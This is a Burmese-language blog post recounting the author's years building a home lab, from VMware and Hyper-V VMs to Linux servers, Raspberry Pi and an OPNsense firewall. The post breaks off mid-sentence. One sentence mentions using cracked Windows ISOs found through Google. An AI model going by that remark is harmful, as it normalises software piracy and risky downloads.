ဒီတော့ cloud ဆိုတာဘာနဲ့တူသလဲဆိုရင်၊ T-shirt တထည်ကို ကိုယ်တိုင် ပိတ်စဝယ်၊ ပြီးရင် လိုအပ်တဲ့အတိုင်းအတာလုပ် ဖျက်စရာရှိတာဖျက်၊ အားလုံးပြီးတော့မှ ချုပ်စက်နဲ့ တထည်စီ ချုပ်မယ့်အစား၊ အနီးစပ်ဆုံး Small (S)၊ Medium (M)၊ Large (L) size ကို စိတ်ကြိုက် အရောင်နဲ့ ပုံစံကို လေအေးစက်ဖွင့်ထားတဲ့ shopping mall ထဲမှာ စျေးကြီးပေးဝယ်သလိုပါပဲ။ ကိုယ်တိုင် ချုပ်ရင် သိထားရမယ့် အရာတွေအများကြီးရှိသလို၊ ဖျက်တာ size မှားလို့ အလေအလွင့်တွေလည်းရှိနိုင်ပါတယ်။ ဒီလိုမှမဟုတ်ပဲ shopping mall မှာသွားဝယ်ရင် စိတ်ကြိုက်ရွေးဝယ်လို့ရနိုင်သလို၊ ဆိုင်ကဝန်ထမ်းတွေက သင့်တော်သလို ရှင်းပြမယ်၊ အကြံပေးမယ်၊ ပြီးတော့ size မှားတာပဲဖြစ်ဖြစ်၊ စိတ်ပြောင်းပြီးတော့ exchange လုပ်ချင်ရင်၊ refund လုပ်ချင်ရင်လည်း အလွယ်တကူလုပ်နိုင်တာမို့ အဆင်ပြေပါတယ်။


# Home Lab ရှိခြင်း အနုပညာ

## Beginning

ကောလိပ်ကျောင်းသားဘဝ အချိန်ပိုင်းအလုပ်ကတဖက်၊ ကျောင်းကတဖက်မို့ အခြားကိုယ်ပိုင်အချိန်မှာတော့ အပေါင်းအသင်းတွေနဲ့ သွားသွားလာလာ အချိန်တွေပိုများခဲ့ပါတယ်။ အခြားသူငယ်ချင်းတွေကလည်း ကိုယ့်လိုပဲ ဘဝတူတွေမို့လို့ ကိုယ့်လိုပဲ အချိန်တွေကို အတူတူဖြတ်သန်းကြပါတယ်။ အဲ့ဒီအချိန်က ငယ်ဘဝတွေကို ပြန်မရတော့ပါဘူး။ အချိန်တွေလည်း ပြောင်းခဲ့သလို၊ ဘဝတွေလည်း အချိန်တခုကို ဖြတ်သန်းပြီးနောက် အပြောင်းလဲကြီး ပြောင်းလဲခဲ့ရပါတယ်။ အချို့လည်း ကိုယ့်နားမှာ မရှိတော့သလို၊ အဝေးတနေရာမှာတောင် မရှိကြတော့ပါဘူး။ အဲ့ဒီအချိန်တွေလည်း ပြန်မလိုချင်တော့ပါ၊ စမြုတ်ပြန်ရုံသက်သက်မို့ ဟိုအချိန်တွေကို ပြန်တွေးမိသမျှပါပဲ။ အသက်အရွယ် တခုရောက်တဲ့အချိန်မှာ ကိုယ်စိတ်တွေမလေမလွှင့်ရအောင် ဝါသနာအသစ်သစ်တွေ လိုပါတယ်။ ကိုယ်တိုင်လည်း အချိန်တခုမှာ အခြေကျလာတာနဲ့ အမျှ အသစ်အသစ်သော ဝါသနာတွေကို မွေးမြူလာခဲ့မိတာ အခုဆိုရင်တော်တော်လည်း အနယ်ထိုင်လာတဲ့ အပိုင်းတွေရှိလာပါပြီ။ အဲ့ဒီထဲ စာရေးသူ မွေးမြူလာခဲ့ ဝါသနာထဲမှာ home lab တခုတည်ဆောက်ပြီးတော့၊ ကိုယ်ပိုင် စမ်းသပ်မှု မျိုးစုံလုပ်တာ အခုဆိုရင် ဆယ်စုနှစ် တစ်ခုနီးပါး ရှိလာပါတော့မယ်။

အစတုန်းကတော့ Microsoft ရဲ့ server environment ကိုလေ့လာဖို့ အတွက်ကိုယ့်ရဲ့ PC ပေါ်မှာပဲ VMware Workstation နဲ့ virtual machines (VMs) တွေကို စမ်းသပ်တည်ဆောက်ခဲ့ပါတယ်။ စာရေးသူ အတွက်က နည်းပညာတွေဟာ အစိမ်းသပ်သပ်မဟုတ်ပေမယ့်လည်း practical skill မှာတော်တော်လေး အားနည်းခဲ့ပါတယ်။ နည်းပညာ ကောလိပ်မှာ IT Networking ကို အချိန်ပိုင်းသင်ကြားပြသနေရင်းကနေ technical hands-on တွေနဲ့ရင့်ကျက်တဲ့ နည်းပညာသမားတစ်ယောက်ဖြစ်ချင်တဲ့ စိတ်တခုတည်းနဲ့ Helpdesk Support/Admin role ကနေပြန်လည် စတင်ခဲ့ပါတယ်။ ပြဿနာက အချို့အကြောင်းအရာတွေက practical အတွေ့အကြုံမရှိပဲနဲ့ သေသေချာချာ သိနိုင်ဖို့ဆိုတာတော်တော်လေးခက်ခဲပါတယ်။ ဒါကြောင့်လည်း အလုပ် interview တွေကိုသွားတဲ့အခါမှာ၊ interviewer ကမေးတဲ့ မေးခွန်းတွေကို ထဲထဲဝင်ဝင် မဖြေနိုင်ခဲ့ပါဘူး။ အလုပ် interview တခုပြီးတိုင်း ကိုယ်မသိတာတွေအများကြီး ရှိနေသေးပါလားဆိုတာ ပိုပိုသိလာတယ်။ အဲ့ဒီတုန်းက တော်တော်လေးကို စိတ်မချမ်းမသာ ဖြစ်ရတာတော့အမှန်ပါ။ စာရေးသူကို ဘေးမှာလမ်းပြပေးမည့်သူလည်း မရှိခဲ့ပါဘူး။ ဘယ်ကနေ ဘယ်လိုစလိုက်ရမယ်ဆိုတာကိုလည်း မတွေးနိုင်ခဲ့ပါဘူး။ အခုပြန်စဉ်းစားတော့ ရယ်ဖို့တောင်ကောင်းသား ငါ့ကောင်ရာလို့ တွေးမိပါရောဗျာ။ ဘယ်လိုပဲဖြစ်ဖြစ် စာရေးသူ မခံချင်စိတ်နဲ့သာ အမှောင်ထဲမှာ စမ်းတဝါးဝါး ဟိုစမ်းဒီစမ်းနဲ့ပဲ ဆေးမီးတို တော်တော်များများ စတင်စုဆောင်းမိလာပါတော့တယ်။ တခုသော ဆေးမီးတိုကတော့ home lab ပါ။ မလုပ်ရင် မတတ်လို့၊ တတ်အောင် လုပ်ရပါတော့တယ်။ လုပ်ပါများတော့၊ ဘယ်နည်းဟာဖြင့် အမှန်၊ ဘယ်နည်းဟာဖြင့် အမှားဆိုပြီး ခွဲခြားသိမြင်လာပါတော့တယ်။

## Evolution

Home lab ဆိုတဲ့နေရာမှာလည်း စတာနဲ့ server rack တွေထဲမှာ server တွေ၊ SAN တွေ၊ switch တွေ၊ router တွေကိုရှိရှိသမျှ ဝယ်ပြီးတော့ setup လုပ်တာမျိုးတော့ မဟုတ်ပါဘူး။ စာရေးသူမှာ ရှိတဲ့ resource လေးတွေနဲ့ အလုပ်ဖြစ်အောင် လုပ်ရပါတယ်။ ကိုယ်တိုင်က စစချင်းတုန်း home lab တခုတည်ဆောက်ဖို့ အတွေ့အကြုံမရှိလို့၊ အခြားသူတွေဆို ဘယ်လိုမျိုးလုပ်သလဲဆိုတာကို blog တွေမှာလိုက်ဖတ်၊ YouTube တွေမှာကြည့်နဲ့ပဲ အချိန်တွေအများကြီး ပေးခဲ့ရပါတယ်။ ဒါဟာလည်း အခုလိုမျိုး internet ခေတ်ကြီးထဲမှာ အရမ်းကြီးခက်ခဲတဲ့ဟာ မဟုတ်ပေမယ့်လည်း၊ အတွေ့အကြုံ လုံးဝမရှိတဲ့ သူအတွက်တော့ ထင်သလောက်မလွယ်ပါဘူး။ YouTube tutorial video တခုကိုကြည့်ပြီး လိုက်လုပ်ရင် နာရီဝက်လောက်ကြာမှ ကိုယ်လုပ်နေတဲ့ဟာ ဆက်သွားမရတော့တာတွေ ခဏခဏဖြစ်ပါတယ်။ ဒီတော့မှ အခြားသော resource တွေမှာ ပြန်ဖတ်ရ၊ ပြန်ကြည့်ရနဲ့ အချိန်တွေ အများကြီး ပေးရပါတယ်။ အဲ့ဒီ ထပ်ခါထပ်ခါလုပ်ရတဲ့ လုပ်ငန်းစဉ်မှာ ကိုယ်ဘက်က နည်းနည်း သဘောပေါက်လာတဲ့နဲ့ အကြောင်းအရာတခုကို တကယ်ကိုပဲ ကိုယ်တိုင်သင်ကြား တတ်မြောက်ရပါတယ်။ ဒါဟာတကယ်ကို ကောင်းမွန်တဲ့ အတွေ့အကြုံတခုပါ။ အရသာ သိတဲ့သူအတွက်တော့ ထပ်ခါထပ်ခါ ပြန်လည် ခံစားမိချင်တတ်ပါတယ်။ ဒီအတွက် ကိုယ်လုပ်ချင်တိုင်း လုပ်လို့ရမည့် home lab တခုကတော့ လိုအပ်ပါတယ်။ ကဲ... စာရေးသူရဲ့ home lab ကိုဘယ်လိုမျိုးစခဲ့ပြီးတော့၊ ဘယ်လိုမျိုး အဆင့်ဆင့်ပြောင်းလဲခဲ့သလဲဆိုတာတချက်လောက် လေ့လာကြည့်ရအောင်။

### version 0.1

#### Poor man's home lab

Sysadmin / Helpdesk role ကို ပထမဆုံးလုပ်တော့ လုပ်ဖော်ကိုင်ဖက်တစ်ယောက်၊ အလုပ်မှာလုပ်ရင်းကိုင်ရင်း သင်ကြားတာအပြင် အိမ်မှာလည်း home lab နဲ့ ကိုယ်ပိုင် environment တခုရှိသင့်တယ်လို့ ဆိုလာတယ်။ အဲ့ဒီ role မှာက Windows Active Directory Server တွေရယ်၊ Windows Exchange Email Server တွေရယ်နဲ့ ထိတွေ့ရတာများပါတယ်။ ပြီးတော့ network security အတွက်တော့ Cyberoam UTM တွေကို အသုံးပြုတာများပါတယ်။ Small-to-Medium Business (SMB) တွေအတွက် Managed Service Provider (MSP) တခုဖြစ်ပါတယ်။ များသောအားဖြင့် Windows Server migration၊ Exchange Server migration တွေကိုလည်း မကြာခဏဆိုသလိုလုပ်ရပါတယ်။ အခြားသော IT နဲ့ပတ်သတ်တဲ့ service တွေကိုလည်း လုပ်ရပါတယ်။ ဒီတော့ အလုပ်ပြီးရင် အိမ်ရောက်တာနဲ့ အလုပ်မှာလုပ်တဲ့ဟာမှန်သမျှကို ပြန်လည်စမ်းသပ်လေ့လာဖို့ စတင်ပြင်ဆင်ရပါတော့တယ်။ အဲ့ဒီတုန်းက စာရေးသူမှာ custom PC တခုရှိပါတယ်။ Gaming အတွက်မဟုတ်ပဲနဲ့ home lab ဖို့အတွက် CPU နဲ့ RAM မှာတော်တော်လေးတော့ဖြုန်းထားတယ်လို့ မှတ်မိပါတယ်။ CPU က Quad Core ပဲပါတဲ့ AMD CPU တခုပါ။ Athlon လား၊ Phenom လားဆိုတာတော့ ကောင်းကောင်းမမှတ်မိတော့ပါဘူး။ RAM ကလည်း 16 GB လောက်ထိရှိမယ်ထင်ပါတယ်။ အသေးစိတ် specs ကိုတော့ မမှတ်မိတော့ပါ။

သို့သော်... အဲ့ဒီ PC ပေါ်မှာပဲ VMware Workstation ကို install လုပ်ပြီးတော့ VM တွေကိုဖန်တီးခဲ့ရပါတယ်။ စာရေးသူ... အဲ့ဒီတုန်း PC ပေါ်မှာလည်း Windows 7 Professional ကိုသုံးပါတယ်။ Linux ကိုတွင်တွင်ကျယ်ကျယ် အိမ်မှာမသုံးဖြစ်သေးတာကို မှတ်မိနေပါတယ်။ ဒါကြောင့် VM ၃လုံးထက်ပိုပြီးတော့ တပြိုင်နက်တည်း run ရင် တော်တော်လေးကို နှေးလွန်းလှပါတယ်။ Windows Server VM တခုရဲ့ specs ကလည်း host machine မှာရှိတဲ့ resource တော်တော်များများကိုယူပါတယ်။ နောက်ဆုံးတော့... Windows Server တလုံးပေါ်မှာပဲကိုယ် စမ်းသပ်ချင်တဲ့ application/software တွေအကုန်လုံးကို install လုပ်ပြီးတော့ စမ်းသပ်ရပါတော့တယ်။ ဥပမာ - Windows AD နဲ့ Exchange Mail Server ကို VM တခုတည်းမှာ install လုပ်ပြီးတော့ Exchange Server နဲ့ AD ဘယ်လိုမျိုးတွဲပြီးတော့ သုံးရသလဲ၊ setup လုပ်ရသလဲဆိုတာတွေကို စမ်းသပ်ပါတယ်။ ISO တွေကတော့ Microsoft Evaluation ဖြစ်ဖြစ်၊ ကောလိပ်တုန်းက ကျောင်းသားအကောင့်နဲ့ ရထားတဲ့ Microsoft DreamSpark ကနေ download ဆွဲရပါတယ်။ ကိုယ်လိုချင်တဲ့ ISO မရှိရင်တော့၊ crack လုပ်ထားပြီးသား ISO တွေကို Google ပေါ်ကနေရှာပြီးတော့ သုံးရပါတော့တယ်။ ဒါကတော့... စာရေးသူ စစချင်းအသုံးပြုတဲ့ home lab environment တခုရဲ့ အနေအထားကို မှတ်မိသလောက် ပြန်ရေးချတာဖြစ်ပါတယ်။

#### Eating my own dog food

လုပ်ငန်းခွင်ဝင်နေပေမယ့်လည်း အစောပိုင်းမှာက စာရေးသူကိုယ်တိုင် setup လုပ်ထားတဲ့ environment သိပ်မရှိခဲ့ပါဘူး။ ကိုယ့်အရှေ့ senior တွေက setup လုပ်ပြီး ကိုယ်ကဝင် support လုပ်ရတဲ့ environment တွေပဲဖြစ်တာမို့၊ system တွေကို ဘယ်လိုမျိုး production environment မှာ setup လုပ်ရသလဲ ဆိုတာ သိပ်ပြီးမသိခဲ့ပါဘူး။ ဒီတော့... ကိုယ့် home lab ရှိနေတာမို့ ကိုယ် setup လုပ်ချင်တဲ့ environment ကိုယ်တိုင်ဖန်တီးခွင့်တွေ ရလာခဲ့ပြီးသကာလ၊ ဟုတ်ပြီ system တခုကို setup လုပ်တာသိပြီ၊ ဒါကြီးကို production environment တခုမှာ အသုံးပြုလို့ ရမရကို မသေချာခဲ့ပါဘူး။ နောက်ဆုံးတော့... ကိုယ်တိုင်စမ်းသပ် တည်ဆောင်ထားတဲ့ home lab ထဲက system တွေကို ကိုယ့်အိမ်က network မှာဘယ်လိုမျိုး အသုံးပြုနိုင်သလဲဆိုတာ စတင်ပြီးအဖြေရှာခဲ့ပါတယ်။ ဥပမာ Pi-hole ad blocker တို့၊ Plex media server ဆိုတာမျိုးဟာ စာရေးသူ အိမ်မှာအသုံးပြုနိုင်မယ့် use case တွေအများကြီးထွက်လာခဲ့ပါတယ်။ တဖြေးဖြေးနဲ့ Gitea လိုမျိုး self-hosted service တွေကိုလည်း စမ်းသပ်အသုံးပြုလာခဲ့ပါတယ်။

စစချင်းမှာတော့ ကောလိပ်တုန်းကရတဲ့ Windows Server 2012 R2 ISO နဲ့ သူ့ရဲ့ license key ကို အိမ်မှာမသုံးတော့တဲ့ PC အဟောင်းတလုံးပေါ်မှာ စတင် install လုပ်ပြီးတော့ production environment တခုတည်ဆောက်ခဲ့ပါတယ်။ ပြီးတော့ အဲ့ဒီ server ပေါ်မှာပဲ Hyper-V ကို hypervisor အနေနဲ့ run ပြီးတော့ VM တွေကိုထပ် run ခဲ့ပါတယ်။ ရှိသမျှ resource တွေအကုန်လုံးနီးပါး utilise လုပ်ပြီးတော့ အလုပ်ဖြစ်တဲ့ environment တခုအနေနဲ့ တော်တော်လေးကြာကြာ အသုံးပြုဖြစ်ခဲ့ပါတယ်။ Backup solution အတွက် Veeam ကိုလည်း အဲ့ဒီ server ပေါ်မှာပဲတင် run ခဲ့ပါတယ်။ တော်တော်လေးကို အဆင်ပြေပြီးတော့ ပြီးပြည့်စုံတဲ့ ပထမဆုံး production environment တခုကို ကိုယ်တိုင် ဖန်တီးခွင့်၊ အသုံးပြုခွင့် ရခဲ့ပါတယ်။

အဲ့ဒီနောက်မှာတော့... ရှိတဲ့ တပတ်ရစ် PC အဟောင်းလေးတလုံးတည်းနဲ့ပဲ WD Red NAS hard drive လေးလုံး၊ power supply ကို Watts ပိုများတဲ့ဟာ upgradeလုပ်၊ RAM ကိုလည်း ရှိသမျှလေးတွေစုပေါင်းထည့်ရင်း PC ပုံစံ၊ ကောင်းကောင်း သုံးလို့ရတဲ့ server လေးတလုံးဖြစ်ခဲ့ပါတယ်။ ကိုယ်တိုင်ဆင်၊ ကိုယ်တိုင် setup လုပ်၊ ကိုယ်တိုင် maintain လုပ်ပြီးတော့ ကိုယ်တိုင်ပဲ ဂုဏ်ယူစွာ ပြန်လည်အသုံးချခဲ့တဲ့ အိမ်က ကိုယ်ပိုင် production environment လေးတခုပါ။ Ultimate home lab ရယ်လို့မဟုတ်သော်လည်း စာရေးအတွက်တော့ အစုံစမ်းသပ်လို့ရတဲ့ environment လေးတခုပါ။ အိမ်က မိသားစုကလည်း ကိုယ်ဆင်ထားတဲ့ setup ကြောင့်အဆင်မပြေဘူးဆိုရင်လည်း ကိုယ်တိုင် firefighting လုပ်ရ၊ support လုပ်ရ၊ maintain လုပ်ရနဲ့ အိပ်ရေးပျက်ရတဲ့ ညတွေလည်း အများကြီးရှိခဲ့ပါတယ်။ စာရေးသူအတွက်တော့ ကျေကျေနပ်နပ်ကြီး support လုပ်ရတဲ့ production environment တခုပါ။ အဲ့ဒီအတွေ့အကြုံတွေကလည်း ကိုယ့်အတွက် လုပ်ငန်းခွင်မှာ အများကြီးပြန်လည် အထောက်အကူဖြစ်စေခဲ့ပါတယ်။

### version 1.0

#### Linux addict

တချိန်က Linux ကိုနည်းပညာသမားတစ်ယောက်အနေနဲ့ မရှိမဖြစ်လေ့လာရမယ်လို့ မတွေးမိဘူးပါဘူး။ အဲ့ဒါကြောင့်လည်း လုပ်ငန်းခွင်စတင်ဝင်စက တော်တော်ကြာအောင်လည်း မလေ့လာဖြစ်ခဲ့ပါဘူး။ နောက်ပိုင်းမှာတော့ MSP environment မှလုပ်တာဖြစ်တဲ့အတွက် အချို့သော Linux box တွေနဲ့ကြုံတွေ့တဲ့အခါမှာ အလုပ်က Linux admin ဘီးကြဲတွေဆီကို ခခယယတောင်းပန်ပြီးတော့ အကူအညီတောင်းရပါတယ်။ စာရေးသူ အနေနဲ့ တော်တော်လေးကို အဖြစ်မရှိသလိုခံစားမိခဲ့ရပါတယ်။ အဲ့ဒီ Linux admin ဘီးကြဲကလည်း အလုပ်မှာ သူတစ်ယောက်တည်း Linux နဲ့ပတ်သတ်ရင်သိတာတတ်တာမို့ နည်းနည်းတော့လည်း မောက်မာလွန်းပါတယ်။ ကိုယ့်မှာလည်း production environment ကြီးဆိုတော့ Linux အကြောင်းဘာမှ မသိတာမို့ မကြာခဏဆိုသလို သွားသွားပြီးတော့ အကူအညီတောင်းရများလာတော့ကာ ကိုယ်မသိရကောင်းမလားဆိုပြီးတော့ ကိုယ်ဟာကို တင်းမိပါတယ်။ ဒါကြောင့် Ubuntu Linux ကို Virtualbox ပေါ်မှာ VM အနေနဲ့ setup လုပ်ပြီးတော့ ဖြေးဖြေးချင်းစီ စတင်လေ့လာဖြစ်ခဲ့ပါတယ်။ စစပိုင်းမှာတော့ ကိုယ်ဘာလုပ်လို့ လုပ်မှန်းမသိတာကနေ Google ပေါ်မှာ ဟိုရှာဒီရှာနဲ့ နည်းနည်းလေး အဆင်ပြေလာပါတယ်။ Online မှာလည်း အချိန်ရှိရင်ရှိသလောက် self-pace course တွေကိုလည်း တောက်လောက်ဆိုသလို လေ့လာဖြစ်ခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4331d57ef43f39479999fd74b07c9e0535ca7e22%2FLinux%20Addict.jpg?alt=media" alt=""><figcaption></figcaption></figure>

စာရေးသူက အဲ့အချိန်တုန်းက Network Operations Centre (NOC) မှာ ညပိုင်းအချိန်အလုပ်ဆင်းရပါတယ်။ ညနေပိုင်း ၅ နာရီလောက်နေ စပြီးတော့ အလုပ်တက်ရပြီး သန်းခေါင်ကျော် ၁နာရီ ၂ နာရီလောက်ကျရင် အလုပ်ဆင်းပါတယ်။ များသောအားဖြင့် ညပိုင်းအချိန်တွေမှာ system patching နဲ့ software/firmware update တွေ၊ backup system report တွေ စသဖြင့် business hours အပြင်ဘက်မှာလုပ်ရတဲ့ ကိစ္စတွေကို အကုန်လုပ်ရပါတယ်။ အချို့ညတွေဆို ဘာမှလုပ်စရာထွေထွေထူးထူး မရှိလို့ self-pace online course တွေကို တော်တော်လေးကို လေ့လာဖြစ်ခဲ့ရပါတယ်။ အကျိုးရလဒ်ကတော့ စာရေးသူ Linux ကိုစတင် အကျွမ်းဝင်ရင်းနှီးလာပါတော့တယ်။ အဲ့ဒီတုန်းကတော့ ဘာမှရည်ရွယ်ချက်ကောင်းကောင်း ရှိပုံမပေါ်ပါဘူး။ Skill အသစ်ခုကိုလေ့လာမယ်ဆိုတာနဲ့ အလုပ်က Linux admin ဘီးကြဲကို မခံချင်စိတ်နဲ့ သိအောင်လေ့လာမှရမယ်ဆိုတာမျိုး လောက်ပဲဖြစ်ခဲ့မယ်ထင်ပါတယ်။ ဘယ်လိုပဲဖြစ်ဖြစ် အဲ့ဒီ ခံစားချက်အစိမ်းရောင်တွေက ကိုယ့်အတွက် တွန်းအားဖြစ်စေခဲ့တာအမှန်ပါ။ ဘဝမှာကိုယ့်ကို နင်းခြေသွားတဲ့ ပုဂ္ဂိုလ်တိုင်းကိုလည်း ဘုန်းကြီးပါစေသက်ရှည်စေ၊ အားလုံးစိတ်နဲ့ ကျန်းမာစေရယ်လို့လည်း ဆုတောင်းမေတ္တာ မကြာခဏပို့ရပါ၏။ ထိုထိုသော ပုဂ္ဂိုလ်များကြောင့်သာ စာရေးသူအတွက် စိတ်ခွန်အားဖြစ်ရသည်မှာ အမှန်ပါ။

Linux ကိုသုံးရတာ အဆင်တော်တော်လေးပြေလာတဲ့နောက်မှာတော့ စာရေးသူအိမ်မှာလည်း Linux server တွေကိုစတင်အသုံးပြုဖြစ်လာပါတယ်။ မှတ်မှတ်ရရ Ubuntu LTS server တွေနဲ့ CentOS တွေကို အကျွမ်းတဝင်မြတ်မြတ်နိုးနိုး သုံးစွဲဖြစ်ခဲ့တယ်။ Pi-hole ad blocker နဲ့ Plex media server တွေကို Linux server မှာ install လုပ်ပြီးတော့ စာရေးသူ အိမ်မှာ ကိုယ်ပိုင် production environment တစ်ခုကို စတင်တည်ဆောင်ဖြစ်၊ သုံးဖြစ်လာပါတော့တယ်။ စမ်းသပ်ဖို့အတွက်တော့ မတူတဲ့ lab environment တခုသီးသန့် ခွဲထားပါတယ်။ Linux ကိုစသုံးကတည်းက ကိုယ်စမ်းသပ်လို့ရတဲ့ အရာတွေဟာ အဆုံးအစမရှိ ပိုမိုလာခဲ့ပါတယ်။ ညတိုင်း သန်းခေါင်ကျော်မှ အိပ်ဖြစ်ပြီးတော့ နေ့တိုင်းဆိုသလို home lab ထဲမှာပဲ အချိန်တွေအများကြီး ကုန်စေခဲ့ပါတယ်။ ထိုမှစပြီး စာရေးသူလက်တွေ့သမား ဖြစ်လာတယ်၊ လုပ်တွေ့မှ မလုပ်ရင် ပညာရပ်တခု မတတ်မြောက်နိုင်ဘူးဆိုတာကို ယုံကြည်လာမိပါတယ်။ Opensource နဲ့ Free Software ကမ္ဘာက နတ်ဘုရားများကိုလည်း စတင်ကိုးစားလာမိပြန်ပါတယ်။

#### Hardware hoard

နှောင်းပိုင်းမှာ စာရေးသူ အဓိကထားသုံးတဲ့ PC ကို upgrade လုပ်ချင်တာကြောင့် hardware အသစ်တွေနဲ့ PC အသစ်တခုပြီးတော့ တခုဆင်ဖြစ်ပါတယ်။ မသုံးတော့တဲ့ PC အဟောင်းတွေကိုလည်း လိုအပ်တဲ့ hardware လေးတွေနည်းနည်းဝယ်ထည့်ပြီးတော့ home lab အတွက်၊ အိမ်က production environment အတွက်စတင်သုံးဖြစ်လာပါတယ်။ အလုပ်က မသုံးတော့တဲ့ decommission လုပ်ထားတဲ့ rackable HPE server အဟောင်းတွေကိုလည်း ပစ်ထုတ်မယ်အပုံထဲက ရွေးထုတ်ပြီး home lab အတွက်သုံးပါတယ်။ Power consumption နဲ့ noise ကတော်တော်လေး အဆင်မပြေတာကြောင့် low budget tower PC လေးတွေ အသုံးဖြစ်ခဲ့ ပြန်ပါတယ်။ နောက်ပိုင်းမှာတော့ Dell ရဲ့ optiplex small form factor PC တွေ၊ Lenovo ရဲ့ Xeon CPU နဲ့ Workstation တွေကို အဟောင်းတန်ထဲကနေ ပြန်လည်ဝယ်ယူပြီးအသုံးပြုဖြစ်ခဲ့ပါတယ်။ အခြားသော home lab enthusiast တွေလို rack တွေတန်းစီးပြီးတော့ server တွေ၊ storage တွေ၊ networking gear တွေ အများကြီးနဲ့ setup လုပ်ထားတာတော့ မဟုတ်ပါဘူး။ စာရေးသူအတွက်တော့ Minimum Viable Product (MVP) အဆင့်လောက်သာဖြစ်တဲ့ home lab ပါ။ အစုံစမ်းသပ်လို့ ရတဲ့ home lab လေးပါ။ ဒါ့အပြင် Dell နဲ့ Lenovo laptop အဟောင်းတွေကိုလည်း distro hopping အတွက်အသုံးပြုခဲ့ဖူးပါတယ်။

တပြိုင်တည်းမှာပဲ တဘက်မှာ ကိုယ်တိုင်က Linux fanboy တစ်ယောက်မို့၊ Raspberry Pi လိုမျိုး low power/budget efficiency ကောင်းတဲ့ System on Chip (SoC) platform တွေကိုလည်းစတင်တွေ့ရှိမိလာပါတယ်။ စမ်းသပ်ဖို့အတွက် စာရေးသူ ဝယ်ထားတဲ့ Raspberry Pi မျိုးစုံတွေနဲ့ သူရဲ့ accessories ဟာလည်း အံဆွဲထဲမှာဗူးနဲ့ အပြည့်ရှိနေခဲ့ပါတယ်။ အဲ့ဒီတုန်းက Raspberry Pi ကို စျေးချိုချိုသာနဲ့ ဝယ်လို့ရတဲ့ အချိန်မို့ home lab သမားတွေအတွက်တော့ တကယ့်ကို ကစားစရာ ပမာထွက်သမျှလိုချင်၊ လိုချင်သမျှ ဝယ်ခဲ့တဲ့အတွက် ပိုပိုများများလာပါတော့တယ်။ ARM CPU အကြောင်းတွေလည်း တဖြည်းဖြည်းလေ့လာဖြစ်ခဲ့ပါတယ်။ အခုအချိန်မှာတော့ ARM လို့ပြောလိုက်ရင် Apple M1/M2/M3 chip တွေကို လူတွေအသိများပါတယ်။ သို့သော် ARM CPU တွေကို Android ဖုန်းတွေ၊ Raspberry Pi လိုမျိုး SoCs platform တွေ၊ Chromebook တွေမှာ အသုံးပြုထားတာကို သာမန်လူတွေ အနေနဲ့ သိကြမှာမဟုတ်ပါဘူး။ Marketing နဲ့ delivery မှာအလွန်ကောင်းတဲ့ Apple M\* silicon တွေထွက်လာမှသာ Intel x86 CPU အပြင် နောက်တမျိုးရှိသေးပါလား ဆိုပြီးသိလာကြပါတယ်။ ARM အပြင် RISC-V လိုမျိုး CPU တွေကိုလည်း မကြာခင်မှာ popularise လုပ်လာနိုင်မယ်လို့ မျှော်လင့်ရပါတယ်။ တချိန်က Apple ဟာ PowerPC ရယ်လို့ RISC ကို အသုံးပြုခဲ့သော်လည်း critical mass မဖြစ်ခဲ့ပါဘူး။ အခုတခါတော့ ARM နဲ့ခရီးတော်တော်လေးရောက်နေပြီလို့ဆိုရမှာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-488c4df423811bb230b52c6faaf4bed234b4ed0c%2FRPi4.jpg?alt=media" alt=""><figcaption></figcaption></figure>

### version 1.1

#### Enter the BSD Realm

Linux အပြင်စိတ်ဝင်စားတဲ့ အခြား Operating System တွေထဲမှာ BSD လည်းပါလာခဲ့ပါတယ်။ အရင်ဆုံး စာရေးသူအိမ်မှာသုံးလို့ရမယ့် opensource router/firewall solution တခုကို ရှာကြည့်တော့ pfSense ဆိုတာကို အရင်ဆုံးရှာတွေ့ပါတယ်။ နောက်မှပဲ pfSense ကို Netgate ကဝယ်လိုက်ပြီးတဲ့နောက် developer အချို့က Netgate ရဲ့လမ်းညွှန်မှုအောက်မှ မနေချင်လို့ OPNsense ဆိုပြီး pfSense ကို fork လိုက်ကြပါတယ်။ ဒါကြောင့်... စာရေးသူလည်း pfSense ကိုသုံးနေရင်းကနေ OPNsense ရဲ့ ဦးတည်ရာကို ပိုပြီးကြိုက်နှစ်သက်လို့ OPNsense ကိုတခါပြောင်းသုံးပါလေရော။ ဒီလိုနဲ့ မထင်မှတ်ပဲ BSD ရဲ့ Ecosystem ကိုရောက်မှန်းမသိရောက်၊ ကြိုက်မှန်းမသိ စကြိုက်မိလာခဲ့ပါတယ်။ BSD မှာရှိတဲ့ distro တွေအားလုံးရဲ့ လားရာက stability နဲ့ security ဖြစ်တာမို့ ကိုယ့်ရဲ့ environment ထဲမှာစိတ်ချလက်ချ run လို့ရတဲ့ system မျိုးပါ။ Linux လောက်လူတွေစိတ်ဝင်စားခြင်း မခံရတဲ့အတွက်၊ သူ့ရဲ့ community ကလည်း Linux မှာလောက်မကြီးပါဘူး။ စာရေးသူ တကိုယ်ရေ အမြင်နဲ့ဆိုရင်တော့ Linux အပြင် BSD လို့မျိုး ထပ်ပြီးရွေးချယ်စရာရှိတာ opensource အတွက်ကောင်းတဲ့ အနေအထားတခုပါ။

OPNsense firewall appliance ကို စာရေးသူ အိမ်မှာ အဓိက internet gateway firewall အနေနဲ့ တော်တော်ကြာကြာသုံးဖြစ်လိုက်ပါသေးတယ်။ Internet လိုင်းကိုလည်း နှစ်ခုထားပြီးတော့ load balancing နဲ့ fail over configuration တွေအကုန်လုံးကိုလည်း စမ်းသပ်ခွင့်ရခဲ့ပါတယ်။ ဒါ့အပြင် OpenVPN server နဲ့ Wiregaurd server တွေကိုလည်း အဲ့ဒီ appliance ပေါ်မှာပဲ ထားပြီးတော့ အသုံးချခဲ့ပါတယ်။ Hardware ကိုတော့ 4 x Intel(R) Celeron(R) CPU J1900 နဲ့လာပြီး 1GB Ethernet port ၅ခုပါတဲ့ fanless/passive cooling mini PC တခုကို AliExpress ကနေဝယ်ပြီးတော့ အသုံးပြုခဲ့ပါတယ်။ တော်တော်လေးကို solid လည်းဖြစ်၊ versatile လည်းဖြစ်တဲ့ hardware platform တစ်ခုပါ။ နောက်ပိုင်းမှာတော့ built-in Wireless AP မပါလို့ Mikrotik networking gear 